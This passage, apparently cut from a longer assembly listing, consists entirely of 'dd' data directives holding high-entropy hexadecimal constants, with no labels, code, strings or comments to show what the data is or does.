3973A3ACh, 3A078A1Bh dd 40147CD9h, 89107FD8h, 0B98C3251h, 18FAF0F3h, 0C4037533h dd 55029247h, 197E7928h, 31F89AAAh, 8BCA8425h, 31C12BC8h dd 64F33BF9h, 0F9FF51BCh, 86C92643h, 87A4D6E8h, 6E98FF4Bh dd 969806FFh, 8A16EB02h, 42FA8010h, 0A3C40E25h, 6817752Ah dd 19A4A815h, 0D38B340Fh, 8EF64B97h, 0EFEBE20Fh, 0E568FF40h dd 80F8F281h, 3A118A24h, 0F81575D3h, 322DF918h, 9196A32h dd 5DC5F808h, 7221F0ACh, 4F427E2Dh, 6804070Bh, 0BA768DEBh dd 820D3663h, 0CC0E6E20h, 81030949h, 7D26EA75h, 36060F11h dd 975D44E8h, 65055339h, 9A8CA617h, 70C6750Dh, 0F50DA59Bh dd 13B7AAB4h, 0AFA4FA48h, 0CE899D35h, 1E43BD2Eh, 0D2A58DE0h dd 2A424587h, 72FFA24Bh, 3D529D1Bh, 79827F5Bh, 62D5562Ah dd 0F4E0E44Dh, 64C30878h, 812080E0h, 4BA70DEBh, 28F6DB22h dd 99F537Ah, 0A3783026h, 0F4B99AD4h, 4106A2A1h, 3EDFD81h dd 9EF405C1h, 1650E126h, 6D10F8C1h, 0A65C9E25h, 0C126B50h dd 6185D6D2h, 0A7434755h, 446C548Ah, 0FA8301F9h, 0F72D7204h dd 3E1DCD9h, 2B00747Fh, 470788D1h, 90FA7549h, 9FFEB778h dd 88100F4Ch, 0E26083CAh, 7402E90Ch, 0ABF33706h, 4A496C77h dd 5F7F2A8Bh, 0A6CCEA7Bh, 57DA8901h, 0C8899A25h, 6AD8104Dh dd 0D17280FBh, 0FE3BC603h, 0C120F576h, 7882240Fh, 0C7F78403h dd 1443A403h, 98A599DBh, 4A7208F9h, 24C50029h, 41553895h dd 0BA50DC92h, 0E950831Dh, 0E39D0C8Eh, 9C8E3C3h, 54508530h dd 4846DDD4h, 1190673Fh, 6099F8CCh, 9918C0Bh, 0D1230AB0h dd 12BA8D8Ah, 0F4BB0146h, 0AFDB02E7h, 0C6B42012h, 0CC5DC754h dd 498D8A85h, 262E522Ch, 0CC8376D0h, 5216A622h, 46322490h dd 1A854745h, 2F40388Ch, 91C0FCCh, 120C8914h, 4CFC2504h dd 0EC09F484h, 8E09818Ah, 8FD189E4h, 0E81122D3h, 2EEC12E9h dd 0E9F02291h, 912EF412h, 12E9F822h, 8D872EFCh, 3182E04h dd 0F8E4F003h, 144F0A91h, 9508CF1h, 1570895Ch, 0FA49D1F9h dd 219E9029h, 0C8FAC80Ch, 0ABA46812h, 0A30B6A0Eh, 748D062Ch dd 7C3AD031h, 0C8804939h, 0FD0D7024h, 88FCE4A1h, 4956D0F1h dd 9E66060Ah, 0A9F0E980h, 62F94490h, 55D8102Bh, 56D02286h dd 819E866h, 9306C13h, 3B9003DCh, 4E59E0DDh, 57424FB3h dd 98D11EB6h, 0E3A4D420h, 0EF0624EEh, 2C8C657Eh, 28A5902Ah dd 0AC384BB5h, 0EFACA1EEh, 4620AF49h, 8D19B25Ah, 0F84195Ch dd 9409918Ch, 0A4449C22h, 12B489ACh, 91682AC7h, 11C8741Ch dd 1444BA18h, 1048A48Bh, 8B0C44BAh, 0BA0848A4h, 0A48B0444h dd 2056989Eh, 0E80DE033h, 24F80922h, 7A98570Ch, 0A9B6B808h dd 0AB10E888h, 7214C884h, 0CC52B8B6h, 0A0489301h, 0F7088404h dd 3CA88CC2h, 3A3B02F8h, 0A2E0301h, 0C32674C0h, 25123C61h dd 1D87E4BCh, 0C310E8C1h, 19E30241h, 79112B20h, 3983FC03h dd 0C2B904C1h, 0D24436EFh, 0ACA4A18Bh, 0D10788D0h, 257940E0h dd 5FF8C2CCh, 28A1481h, 0E98B8C42h, 0DFE06341h, 0A80D6128h dd 68A0B266h, 0CAD2445Ch, 0C1C94484h, 0EB0296C1h, 905ACC8Ch dd 9044E34Dh, 0C80B3010h, 9750C0Dh, 0F70421C0h, 0E010C2E1h dd 140CDF53h, 747E1ED8h, 3142964h, 0A402C0Ah, 161B5BD3h dd 0E988AA55h, 2C3D1783h, 17B0381h, 0B6890F7Eh, 0E2A42A07h dd 0C92D5F66h, 8B0F005Dh, 7F61200Dh, 41048A36h, 0BD085830h dd 4703D980h, 2CCBD2EBh, 1F795037h, 98EE8B2Dh, 752B0E05h dd 33100450h, 2D44DB56h, 949A760Ch, 0B854125h, 703D22A1h dd 0D24910Eh, 0C59B1CA8h, 1D0465Ch, 83CFEB31h, 0C38680FDh dd 0D8F70275h, 0ADE29E5Fh, 0E8047B02h, 594A15DAh, 1464742Ah dd 6474A60Ch, 32AEE41Ah, 0E1F9E0E3h, 4D24B509h, 2383C273h dd 4020AC16h, 530B574Ch, 0D2118A56h, 1EAA9699h, 1718E69h dd 4FEFF6EEh, 4535F7EDh, 384A817Ah, 6A15F5D0h, 0C20BBB82h dd 0A0B0499h, 5EF57500h, 0A7925F5Bh, 0F4F01181h, 7E3D8DEBh dd 26109FFh, 287C0684h, 0F92B222h, 0C475E038h, 65034126h dd 66241877h, 22B78FFFh, 0B1EBDFA1h, 8A6B60B1h, 0EE22EC2h dd 0FF478D0Dh, 0C7E0421Bh, 494A068Bh, 0FA54810Bh, 0C46843Fh dd 3B9440A8h, 3AEBA5C1h, 3494B7E7h, 2B852E82h, 0A717D3C9h dd 0F0955011h, 0F62C4E5Ch, 57D18CAh, 0CF12EB61h, 99951C64h dd 44F3F140h, 46FB6602h, 0ECEA6D8h, 0A4B3170Ch, 4821AB5Ah dd 0B23F2E13h, 944527BDh, 23982DF6h, 0C0316DD3h, 326E2E84h dd 0AF77C76Fh, 0F623CBD6h, 1754333h, 0EFF250D2h, 0E82A048Ch dd 0C3F8259Ch, 7F406A25h, 0D14B414Eh, 40D5BCB8h, 8292092h dd 8D3B6AEBh, 926B58A4h, 9C90B412h, 99C1F757h, 0F7401FDh dd 2441018Ah, 0FA43B09h, 8BF1751Fh, 0FEFFBAC7h, 0D0D17E17h dd 0E830F083h, 4CF69AC2h, 37119A9h, 8BE87481h, 4F24FC41h dd 1A8A4423h, 72B39EA9h, 100F6F0Eh, 0CDCB03D3h, 97FC798Dh dd 0A6FE57BBh, 0FD7F0A08h, 0CAFC0340h, 64600CC3h, 0C0B68619h dd 8864B3A0h, 63471729h dd 0BF87EE93h, 225774D9h, 6ADED068h, 6C1155DEh, 3461E1CCh dd 2758E092h, 126A4448h, 0CD6B10D0h, 0F2C72C7h, 450966CAh dd 0AE487C6h, 8812EC0Dh, 0E08408A6h, 14567F86h, 444021DFh dd 1E028D05h, 9132C8E4h, 71138824h, 0C362341h, 14C3C12Bh dd 0FD9085FEh, 983AFCB2h, 973D5170h, 0B6A4245Ch, 81147282h dd 2D0C85E9h, 1850505h, 0EC731842h, 0C4E8C12Bh, 0DC581ABAh dd 8DC2EA4Ah, 3EDC7150h, 8366C889h, 838E450h, 3910E541h dd 0A9F8A80Bh, 7D448FA3h, 33DC3294h, 8F422631h, 89F685A2h dd 0FF3301BCh, 122B9435h, 42B1B27Eh, 0C244CCFh, 787C83C3h dd 22772CE0h, 271C6683h, 16894F9Eh, 74062239h, 6914A210h dd 64DE312Eh, 0A834A10Dh, 0CC8D7ACCh, 15BF412Fh, 89A0353Bh dd 853F7721h, 63EECD65h, 0C46B3455h, 2DF50434h, 0B6254689h dd 0F70CF40h, 0F0E62783h, 1030A178h, 0A1645A5Eh, 601F8143h dd 0E851C195h, 0C63ECDB3h, 211E5791h, 429A16F9h, 575E012Ch dd 5CB52C20h, 0A4350DD9h, 0B1087AAFh, 89EC2F11h, 4C3145B4h dd 804D5A74h, 12167B03h, 0B83006E6h, 744C9E12h, 0F9259A36h dd 3A287273h, 0B3264F7Ch, 62FC3AFCh, 0DD3D3E46h, 6B11D3B9h dd 822F94C9h, 4E578257h, 906885DCh, 0AF8D9650h, 0BE25B068h dd 38B6DDCBh, 5391E04Eh, 0DD034995h, 0E59A025h, 0C00ECE44h dd 0F0256651h, 3D0AC87Fh, 241CDD00h, 4EE85575h, 8617A93Fh dd 0EAF32D7Eh, 6699A41Ah, 8E535D23h, 0B6A41C0h, 9F412FE8h dd 701F7946h, 4B145356h, 30A6D04Ah, 5DC0F62h, 0EA166870h dd 0D1F4D29h, 63C0CA31h, 0AF31E83Dh, 0F85D5347h, 0DCBB2CB9h dd 0E0DF5F60h, 0E64759Eh, 0F8320B81h, 0C3F62220h, 0ED753420h dd 313F7D19h, 72AFCAC8h, 87BDD5B6h, 0B13A0815h, 10A36F9Dh dd 43FDF325h, 0E2DB1587h, 68B811C3h, 0C74A82ABh, 83A28405h dd 1BA7FDDFh, 1380A314h, 28881E22h, 4419A863h, 228BA38Ch dd 4B6F9014h, 1394CC29h, 0B034B6C3h, 0D99BF4B6h, 4CFE7D3Ah dd 96453A57h, 83FFCC80h, 6DFBFC92h, 0F47DDF98h, 26FE0CCDh dd 0F85599DBh, 0F8B24722h, 8F484E10h, 3D46F842h, 0A4388A2Ch dd 470473Fh, 0C598548h, 4643680Ch, 0A47C4B1h, 0C9220CA2h dd 0C5BC163Fh, 4EEF5765h, 0F075C0D9h, 1D2E643Dh, 95036701h dd 6E085AA3h, 63582CFAh, 0FF0850BEh, 3647E05Fh, 580008C2h dd 68048759h, 6A071C24h, 0C457E411h, 863119FFh, 0E667CF8h dd 9415F84h, 0BECA796Ah, 88B0454Ah, 0CB33FFAAh, 12625840h dd 41D04D33h, 0B82E26C5h, 0D4DFF87Ch, 5D8673EAh, 4462196h dd 8EFC55A1h, 0DA509430h, 0D95F8902h, 0AA0DE5ACh, 6D459CD8h dd 0DBAC6714h, 337FE59Ah, 0C623D5ADh, 33ACCE65h, 0F43A084Dh dd 0E081355Fh, 8A436035h, 684DF340h, 51A19ACEh, 0FC086EECh dd 31E123FFh, 855118A2h, 53BAE8B7h, 68C88E4Ch, 48F8AEECh dd 0FCCD1BC1h, 0DC804A5h, 0CDF87082h, 0A3263A08h, 21848610h dd 79A14B89h, 67AF3495h, 0E00CD8F2h, 610E2DDCh, 0E3188E24h dd 0E40C64DAh, 0E8101C08h, 9FECAF44h, 0F46423E6h, 0FC4CF809h dd 0E054F05Fh, 26DC899Fh, 9EF86DCAh, 3807D851h, 0CC44125Bh dd 0EB866401h, 10318FA9h, 9A8DD40Ch, 5F215012h, 35B89E69h dd 94EA46F8h, 88AFCC4Bh, 0BC911708h, 0D810576Ah, 7EDAA9B4h dd 0CC44CD91h, 5505A7EAh, 20BE2B60h, 66E083EBh, 0F4F41BAh dd 2454885Fh, 0DAB586Dh, 0A4DEB58h, 54EC23A0h, 86100614h dd 17D500ACh, 4A86C403h, 78EC2336h, 752E2470h, 269820Bh dd 89FDEDCEh, 1C3319BDh, 0F7206BD8h, 9FA718D9h, 26A44FFBh dd 0C70A9A0h, 9393574Ah, 5F443177h, 2E89C69Ah, 187C7DC8h dd 78FE8339h, 0D72AE805h, 4D00A552h, 48D4E10h, 5B4C39B6h dd 5EFA1883h, 481D3B05h, 1F687E08h, 26F60C52h, 6B4DA44Dh dd 0CA364807h, 4DC58024h, 89461A14h, 72800C31h, 0C473B01h dd 9904773Ah, 8F9076F0h, 0F0D98916h, 23695B85h, 4D76F246h dd 6807956Ah, 0A416218h, 0A7F442C0h, 42C85D04h, 1038EDE5h dd 6950AD2h, 0C8B896FFh, 72B60FAEh, 89025444h, 495AB802h dd 27A52D9Dh, 1A6A50FCh, 832068FEh, 4DC2F35Fh, 58084335h dd 11196051h, 3B2E74A9h, 7B271Ch, 76348D28h, 68B30C8Bh dd 19E2B489h, 0E97C3048h, 12242004h, 836158BDh, 63FCE62Eh dd 54FF6F40h, 0C3EB1203h, 85058F64h, 8DD156ACh, 86F854Eh dd 81410DC6h, 69450479h, 0FA51724Ah, 39DD521Ch, 5D4089Eh dd 7B8BD09Ch, 76FCBB2Eh, 90AEB8Ah, 4BEF1169h, 4BB06BCh dd 590C6B03h, 0D041C25Bh, 5A127EF0h, 9B7A5067h, 0DDA60C95h dd 8D166C99h, 0CC500996h, 0F9428390h, 0B130DF4Ah, 840F6468h dd 78316380h, 0FFFC1864h, 0BC0B9C17h, 0A5E009C8h, 68D03065h dd 68D08564h, 40488D64h, 640F5F66h, 4844094Ch, 2234913Ch dd 1C24442Ch, 5730568Ah, 12646862h, 9180F111h, 0A0228C09h dd 5B30B595h, 23166682h, 85865B0h, 66E08665h, 19991889h dd 14600938h, 0C1A930ADh, 4A70E66h, 5C906A66h, 9980B4CAh dd 12C409BCh, 48D424CCh, 22E491DCh, 309595F7h, 1020B1DAh dd 9180D99h, 293C1228h, 1F5D3059h, 68902D6Ah, 0E2EFF59Bh dd 0BC0CC029h, 694640CCh, 508B4E40h, 0B0590B15h, 0FB86FC9h dd 0F22BF1A2h, 99C3B562h, 3A735E98h, 4AE8521Bh, 0E2C0F23Fh dd 0E22E1848h, 0D84EBD0Ch, 2FC30129h, 19A82B1Dh, 0C105A350h dd 8D02F902h, 9289880Ch, 0B003D846h, 58328E3h, 0C166F30Ch dd 2B418A3Bh, 0A62ECB2h, 0E455C348h, 0FDE816A5h, 44EFB2F4h dd 0D04753Eh, 11E8186Ah, 0A129AAA8h, 20838A8Dh, 10A34509h dd 9570BC42h, 4702034h, 0CC469D8Ch, 0A156534Bh, 8A5C90EAh dd 772D8D1Fh, 95AF5801h, 0C342449Ch, 921E2211h, 2B6941B3h dd 5474459h, 0EB461EA0h, 7A0DB5D0h, 47FCA6Dh, 50C1453h dd 16DB2B1Ch, 18274A31h, 8C0F4AC4h, 33AB2BE3h, 4FAD84E2h dd 8F242409h, 396A4C7Ah, 0C1E59859h, 974305Eh, 0A5292C7h dd 0C032BED2h, 0FE783C1Bh, 0A958E80Dh, 1F080813h, 31A6895Ch dd 17750639h, 12AA53BAh, 6A044120h, 15E5602h, 50648946h dd 0D2331E7Dh, 0BF1006F7h, 99CA903h, 0A6A0BD23h, 0C08CF34Bh dd 0A41D4365h, 0CBBEA481h, 0D030C470h, 0BA1ECE2h, 3A569157h dd 8C8B66A1h, 57C72358h, 20C3814Ah, 4C45E104h, 37A4917Eh dd 738D413Bh, 3D842E36h, 9D08EE4Fh, 0DE72F4CEh, 0A7840CD4h dd 4476CAF2h, 0EB040605h, 1CAF0F09h, 9FF10328h, 0AAF5F85Ah dd 188A0682h, 0C04A64E9h, 0CFFBBF50h, 0D61B8EDh, 4008C1F6h dd 0C8D4523Eh, 8291FCECh, 2A4DEB0Ch, 4BB86104h, 9D1C757Fh dd 3E420114h, 4002E183h, 0D87D8106h, 77800234h, 0C91685F2h dd 9EB02C75h, 0F6273A76h, 0C7011482h, 0D783405h, 0C8F7224Fh dd 11EBFF0Ch, 60C180B5h, 0C91BD9F6h, 5A031D70h, 0BB0219C8h dd 36F9BD05h, 97906102h, 0C6F85204h, 8F8BD438h, 0AE01AC5h dd 27F46F2h, 34F6384Fh, 1F49DB48h, 0FFFDE5B1h, 522E2DE4h dd 49B3E0BDh, 372F5089h, 0F1AD43C4h, 0BF88404Bh, 0C408C10h dd 254C428Fh, 1355D310h, 937AADCCh, 4A5EE3AEh, 0BE7A26B2h dd 69872D97h, 53B41EAh, 75BC532Ah, 0E8441BBEh, 2E448428h dd 82689E6h, 12E28921h, 12141122h, 202024E0h, 0C418A107h dd 0EA45EB0Fh, 0AB91608Dh, 0FF832858h, 481B7425h, 0F666122Bh dd 0F8CE707Dh, 0DC0CC80Bh dd 0D8D50513h, 4974D4F8h, 0C05E9C03h, 0BFE0753Bh, 8AA543A1h dd 46A35F03h, 0C9EE5E13h, 6CBC3FCFh, 0F211F6F2h, 0E8BC0009h dd 9E9E566Dh, 8AFFA7h, 5E2C2A7Bh, 7D3D2C01h, 74DE0C48h dd 5D4891B8h, 85CF1655h, 0CC73CEBDh, 0E9D7754Ch, 0F6C9A95Bh dd 46F7B200h, 9201E20Ch, 186CEF73h, 87EB4E7Eh, 10085EF1h dd 9DD08A20h, 752AC91Ch, 2307B451h, 0F992C83Bh, 0F87BE072h dd 36FF0E57h, 0F872E853h, 85292C6Eh, 47E8539h, 25D13E01h dd 0D284DF03h, 0C04BEBFCh, 2E72146Eh, 0C910AFBDh, 130E89C1h dd 912FE65h, 5350C22Bh, 65235DD2h, 36748957h, 29370610h dd 309AB90h, 8518EBD8h, 0BC5873C9h, 15745925h, 87038828h dd 4D5E433Dh, 0DB8C1423h, 76850F80h, 0BB288899h, 831EF9A6h dd 0EB4D0C4Eh, 0E6430D04h, 2BB836C7h, 0EBF6BE7Eh, 96F8E549h dd 57F5ECE5h, 0D900FF61h, 1E7D8D59h, 81ABF3E0h, 168A5F07h dd 0CA5864B3h, 0CF2381A0h, 302E8E6h, 448DE3D2h, 1806E005h dd 80619546h, 0AD0D7AE5h, 0CF200E85h, 5C304915h, 6A028A0Ch dd 0CEFAF051h, 0D3525B60h, 0EEC1E3h, 354C8A03h, 74D984E0h dd 4EC7074Bh, 0D9EB42C3h, 44B2DA8Bh, 24AD1E17h, 584A8556h dd 2667E0D3h, 22097585h, 0D2DC8E80h, 0E93710ABh, 45F35E2Eh dd 23564289h, 7C5BC3h, 969A0A5Ah, 53567A87h, 0C0B8D9B4h dd 0C6F71407h, 0A7FE0903h, 0E25896Ah, 0EB6FA28Ch, 2DEA7621h dd 257454C8h, 2029D3CAh, 40EB7543h, 3F511E5Ch, 64DCE383h dd 3D602142h, 0F3754B2Fh, 5B82EDB4h, 71C35F5Eh, 12748A7Ah dd 4455273Bh, 0C58C9608h, 6C3B23EEh, 0FA5E3366h, 599A9756h dd 0C84CB85Eh, 0BB199DAFh, 163B0A06h, 0DE91C6A3h, 1E472C22h dd 750D0C23h, 0A84574C6h, 648AB2AFh, 215C0E15h, 86110492h dd 9B755154h, 0E20A0AACh, 28608B07h, 0A93AB16Bh, 0D949A485h dd 7B69A77Eh, 3F6FE583h, 851BF352h, 144DF58h, 0A07988F8h dd 66245DA2h, 3C8919EFh, 8980DF4h, 0F957D420h, 0A8146E96h dd 0EA1A6255h, 0F06D0D19h, 899080A8h, 45FC2431h, 3FEF14EBh dd 8A8106Ah, 0C4F61796h, 212FB104h, 0EFAD3A29h, 14260459h dd 56FD425Eh, 4BF3771Ah, 0F7054912h, 79D80DEBh, 576A8A16h dd 50D14342h, 4EB053E5h, 5B267AE3h, 0F7524AD9h, 0AEF20BBBh dd 0F4CB89A7h, 0F345D0FEh, 46318AA6h, 473A8EFFh, 510477D4h dd 0F7C4CF74h, 5B96CBD1h, 0D0EA8359h, 0A71271EAh, 5608C661h dd 53277626h, 47078EC0h, 47F73988h, 908D7FC7h, 1147B2C7h dd 3116121Fh, 28750C0Ah, 9CB44FCFh, 8B23AC2h, 0BEB030Ah dd 2E6704D2h, 30097509h, 4CEB4ED3h, 0C449D81Ch, 0E1337413h dd 23764293h, 301D2C6Fh, 0A2B4CBD7h, 3F47DB0Dh, 8F054D24h dd 0F94F31Eh, 62CE4EBFh, 0B229655h, 44F6D0C8h, 369F2AD0h dd 8E0B92C6h, 0B9899D44h, 50D0008h, 34025788h, 0CC1B6210h dd 70A4019Ch, 658167AAh, 20FFC983h, 69904168h, 458A4F06h dd 1714FD0Ch, 0F2073847h, 1652585Ah, 0E2E3FCC7h, 0FF428DC1h dd 0EE7EFA5Bh, 0E648DCFh, 0B84357Bh, 6EF0D8B1h, 38B754EAh dd 0B1374F8h, 38420A8Ah, 84D1A602h, 6F515AC1h, 0BED0B60h dd 0C3D4C0D8h, 5610E3C1h, 0A0A12DEh, 0D26FDCBFh, 40CBDF4Bh dd 2983F970h, 1FE5FFF1h, 0F0C696CFh, 0E152810Ah, 1C750AE6h dd 0D365ED25h, 3DFF071Fh, 8DE63308h, 86C4C280h, 2EA5BC2h dd 0FC428BC3h, 0ACE2D838h, 87EFAAA7h, 922784DCh, 58DEE7AEh dd 24152732h, 860648DCh, 5C96EBD4h, 0FEEAB28Ch, 230770D0h dd 96FC10FDh, 0C7D9D21h, 12BC93Fh, 487FFB9Ah, 849536EFh dd 54A15628h, 4EAF012Bh, 0E10A7804h, 158700Eh, 1389413Bh dd 0F40507EBh, 24AA516Ah, 16D382C1h, 0A3CB9C8h, 57C1BE90h dd 2780D975h, 0CEC36630h, 3BA95D9Bh, 550B4609h, 0F06BC4F8h dd 3D1702AFh, 0DDDD6ACCh, 1D75E5A2h, 0B09C457h, 0AA8C0F41h dd 5A4745D6h, 80A18F92h, 0E920C009h, 0F906E199h, 0D4137D97h dd 5EDF3BA0h, 39257D09h, 7E43E835h, 91029D0Bh, 427914F8h dd 6DD80A13h, 0C6232D58h, 0DAF8EC0Eh, 15E865EBh, 4CA213A2h dd 9F8008F8h, 4A44F6C8h, 79870158h, 0A6365E6h, 7388028Ah dd 95D0ED8h, 1E7BEB58h, 40140DB7h, 6A56C693h, 0A959EBBFh dd 892B5103h, 3592304Fh, 0E81299A4h, 72EF555Eh, 0C1DDAE65h dd 8E890699h, 0DE8CFC45h, 8DAFD0Dh, 0BCBA75Ah, 0A1D54449h dd 363453F0h, 0F297FD14h, 9245A518h, 38C20C19h, 4C2DF4F1h dd 18C4C20Ch, 0FBBC50EBh, 54355C32h, 0D10E1608h, 8EDB4EE9h dd 0BD8C0EAh, 35F475C9h, 0BD38F3F7h, 0B91305Dh, 18D10310h dd 4B3B0E72h, 11D90877h, 2BE17653h, 0CD1B8F34h, 0FA111424h dd 0DACF072Bh, 0A783D823h, 9181D20Bh, 3242EAA0h, 81B918AFh dd 19101214h, 858B49D8h, 41EBD311h, 28148132h, 0F981689Fh dd 451813F0h, 0E6F9C545h, 8910845Ch, 760C1007h, 244E5901h dd 735EC614h, 6865BA5Ah, 93835AAh, 42C2147Eh, 590768D0h dd 7B802172h, 1B753A61h, 93F7C75h, 62081068h, 25E80B91h dd 803E99DFh, 4396832Fh, 0F3A1848Ch, 43032F03h, 0E1827A66h dd 9A243BDDh, 4A8494BEh, 65740470h, 0D1A3908Ah, 812F82F6h dd 487D0CCBh, 1AEB0440h, 972FF980h, 0D65C57ADh, 2E1A0A0Ah dd 804A0B75h, 488D0679h, 4D30F101h, 0BFE99540h, 6B133CCFh dd 2A888573h, 1B156AEh, 3BFB2B88h, 74D838FEh, 6D7494A2h dd 0A559AA88h, 27284477h, 64CC0724h, 104D8288h, 63C98522h dd 0FC7D2421h, 3B4C7702h, 704872FBh, 843F8DE9h, 376BE814h dd 187D7888h, 2B4461C5h, 70C8612h, 0BDF04E73h, 0E857B968h dd 0E159442Bh, 5F3E2409h, 1446788Ch, 532B1788h, 533222C3h dd 0CA1C2440h, 0E9FD1888h, 5EF3195Ch, 45A88ADFh, 9FE53CBAh dd 85257B25h, 0ED0A11E8h, 42DFB8A4h, 0D397D408h, 49325913h dd 9C25760Eh, 5912A055h, 5DC580E9h, 15129234h, 15CA11AEh dd 0B8B56922h, 0FB850F08h, 0A87F5565h, 92E03DC4h, 1D89D387h dd 18ED4E8Dh, 0D6E86F6Dh, 0CB25FF5Ah, 4C8AA5ADh, 89F229E1h dd 515320D8h, 0F9EF369Fh, 0E4F725FBh, 422D5A69h, 48FC439Dh dd 1D72FE84h, 0D91B5011h, 5E15DCDFh, 6C5518A0h, 8AC016A0h dd 1EB2ACDFh, 0B237B743h, 769FA0B6h, 414D4021h, 22519085h dd 8E93D98Ah, 6D430D79h, 0B421EADBh, 4A3DD047h, 0C23A60A2h dd 9464C158h, 14507408h, 154EDEAFh, 0AE933AAh, 47FE994Bh dd 74C78B42h, 8C22A85Bh, 0A2122A02h, 77098609h, 77F65814h dd 7971A86Bh, 0D5E41F4Ah, 0CE6FEC52h, 0E8D798FCh, 7F256421h dd 520B89D8h, 0DC1A9C29h, 587389A1h, 0EFC14681h, 3F493104h dd 0C2E89D30h, 0E573B728h, 421D0A2Fh, 0CA32EB0Ah, 16258409h dd 5CF59035h, 42B4603h, 3AABB6E5h, 0F8DEA33Bh, 16243BACh dd 0FE43125h, 9487BCBAh, 0A543BC28h, 3C614442h, 122443D4h dd 1D3E14EBh, 0FEFCB062h, 0C5E8210Ah, 821BEF1Ah, 3914B925h dd 3EEB1004h, 1422F733h, 0FE6B2324h, 16480F92h, 0F0DA269h dd 0EE9D44B4h, 0EF2B2FFBh, 0FF49C865h, 0FE4DE4EBh, 0DF5E7BC1h dd 1DCDC822h, 0C0DF0791h, 0E1810C4Eh, 0B7CB0108h, 2EC6C629h dd 17D93B22h, 3FC68DFBh, 0E8361402h, 0CB0B776Eh, 2B3BC56Eh dd 2567C9DFh, 0BA2E5446h, 0B28EED9h, 1064238Dh, 0EB327916h dd 0D977E20Dh, 2BFB84D4h, 0DAB7E1FAh, 7CE143A9h, 0BA291901h dd 9950473Eh, 3BD8052Bh dd 0F43E72C7h, 0A7B12910h, 22BE0F0Bh, 59056E8Eh, 741DBADBh dd 0A545142Eh, 0B2A64B8Ah, 0A8927FB4h, 9A4397Ch, 36502FBFh dd 62E49AECh, 2BC7CDFCh, 0D6FE75AFh, 0AF8CFBE7h, 4B424310h dd 0B698C4ADh, 7F845730h, 4C35BC8h, 0A0F61D20h, 16EE02EBh dd 0D64FAB4h, 17381459h, 0DBEB89F8h, 66CA2E09h, 0FFF2FD78h dd 0D5687496h, 0D6914712h, 0DAC8D8F7h, 89C1E983h, 324A29BAh dd 1CB11CE5h, 1C220E18h, 11EF2794h, 10641421h, 921ACA77h dd 0D145CC54h, 0D94BEB72h, 24DB2722h, 191C32F1h, 14230B18h dd 4FC91091h, 0A34ED109h, 815F5E25h, 7EECA132h, 20AC87Fh dd 68D0FF05h, 0D6BF3028h, 0E82A0B74h, 10FECCCEh, 22840FA3h dd 0C71F74BFh, 38D1096Ah, 1513C02Ch, 239907FDh, 8E040C01h dd 5F205760h, 957C3D39h, 33119CA6h, 88F2085Fh, 7E0F408Dh dd 0A8948B13h, 3089E8A0h, 8847783Dh, 29A1741Dh, 98243A3Ch dd 303A3889h, 718D5602h, 0F03BFC07h, 6E51372h, 0EE839861h dd 203A4161h, 5EED732Eh, 95346829h, 2A882C10h, 287E599Ch dd 38421140h, 0E6A81921h, 10755B14h, 8789297Bh, 8F9ADDA7h dd 3B9524F1h, 0D7315ABh, 4C6C358h, 0C3A424EBh, 95FCBF3h dd 0B29C7DF3h, 55766A9Dh, 55369698h, 0D9AAFA93h, 2590ED95h dd 0BAD62EAEh, 95F22ECCh, 0D70B6922h, 74059B7Eh, 40B8A932h dd 0E8A409Fh, 52750F3Ah, 48474613h, 0E816301Bh, 0FAD13817h dd 7B4EF045h, 0CB577301h, 0C1523B15h, 0E8C7879Fh, 0E2E36B6Fh dd 13445E33h, 83D6A8E0h, 0A2A7F32Bh, 0FC4EC127h, 3ACF57CDh dd 0F526104Dh, 7E2E3792h, 1D59EA6Fh, 70B80302h, 0B21B58B3h dd 0FF362B48h, 0C41CFD6Ah, 0F81168Bh, 0E775CA38h, 0DD18C89Dh dd 0EE0D9EEh, 6D886111h, 0E250764Ah, 6AC53B06h, 5F1648CDh dd 912ADCB1h, 9E418D33h, 1C7F0AC4h, 4A7F4010h, 2BF699C0h dd 0F8D116C1h, 0A8FA2448h, 10FF5BA9h, 3B0BE0A8h, 658857D6h dd 0E8F02765h, 16C8FEF8h, 883996DAh, 29627569h, 2BCA8621h dd 317BDD0h, 0D60E66C8h, 32898331h, 4AA86480h, 424047B5h dd 0E48E241Bh, 5DC4EFB8h, 7AD8BB0Ch, 0E86A5C52h, 0FA097473h dd 0EE83D3DCh, 35FF0CC5h, 0C060647Ch, 0F747A5Dh, 2A1241B3h dd 0EB073BA3h, 5B4F8D6Fh, 41C2FC09h, 96B6FE5Dh, 0BD1ECD1Ch dd 1937DBD2h, 0E9F54036h, 0C14BAC6Ch, 6157DEF6h, 78967BAFh dd 810143BCh, 0AFEB2F75h, 9C0BAD5Ch, 0E01A8862h, 569CEB9Dh dd 1FB46A5Fh, 0A415882Ch, 0C63B059Bh, 0E9488374h, 6840D895h dd 43164D78h, 41D6A40Eh, 5B34F616h, 25833098h, 150F58ECh dd 6CE86586h, 98116C20h, 0D48A3E3Eh, 8D4C6AFAh, 9E6828B1h dd 480D431Bh, 0FCC11D2Eh, 16CA030Ch, 0E80D8444h, 1140A310h dd 0D7824E45h, 0C85924A1h, 1C7C6A52h, 925BB06Fh, 63F64EBBh dd 680223D2h, 0ACA39D13h, 4121FFF4h, 0BD80E958h, 68CA2665h dd 50CA8BFh, 2EB96A4Ah, 8DD07502h, 37C9A445h, 9DE81064h dd 0CED9DF54h, 0D06BF69Ch, 0E8067E84h, 83D4258Ch, 14580AF8h dd 0DF9C753Ch, 8630BF4Fh, 0C6498EE8h, 12A0456Dh, 0D87F586Bh dd 3AC195C7h, 984D2009h, 0E8515006h, 0E3FB52DBh, 0C8110731h dd 4AF99875h, 3D833F86h, 43BFE788h, 5B60F1F7h, 4CA885C3h dd 0FA37908Fh, 48A08766h, 30417810h, 3B21250Ah, 594A6B44h dd 56926926h, 7A6B49F6h, 6466037h, 82A8105Eh, 0F3450F98h dd 0EB2040E1h, 2CE08AEBh, 66338316h, 22101004h, 0DA90DB30h dd 0FE240807h, 46250E89h, 5A193010h, 0EF246947h, 0A9B702E7h dd 1A071F9h, 58FE8122h, 74FA8CA6h, 8A781008h, 0E853C980h dd 1D965C8Fh, 40BAC16Bh, 834829EEh, 571A0108h, 1866474h dd 0F82B3EE1h, 0E31746Dh, 2C4918B2h, 40676AFh, 5057107Eh dd 0ECD64E68h, 730ED4EAh, 2F33EB3Ch, 0EEA89FBh, 0C1CB4157h dd 0E1F005F8h, 0BAF4B51Fh, 49EFC912h, 277C8FAh, 3A5A04Ch dd 20D840F6h, 6A390D74h, 70C47002h, 0B536471Eh, 0BA4D8A39h dd 14EB9688h, 453E4EACh, 42535F28h, 7D39C783h, 85845F64h dd 